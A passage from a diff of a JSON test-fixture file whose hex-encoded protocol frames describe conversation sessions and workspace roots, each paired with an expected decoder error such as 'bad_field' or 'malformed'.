450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000780600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a223230303030222c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-non-ascii-model", "direction": "down", - "hex": "574d58310101000001000000310600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64c3a86c65222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64c3a86c65222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64c3a86c65222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64c3a86c65222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "malformed" }, { "name": "conversations-id-too-long", "direction": "down", - "hex": "574d58310101000001000000b10600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000ee0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-over-the-message-cap", "direction": "down", - "hex": "574d58310101000001000000c29e00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303030222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303030222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030322c22746f6f6c556964223a32303030332c22776f726b7370616365476964223a32353030322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030342c22746f6f6c556964223a32303030352c22776f726b7370616365476964223a32353030342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c227265616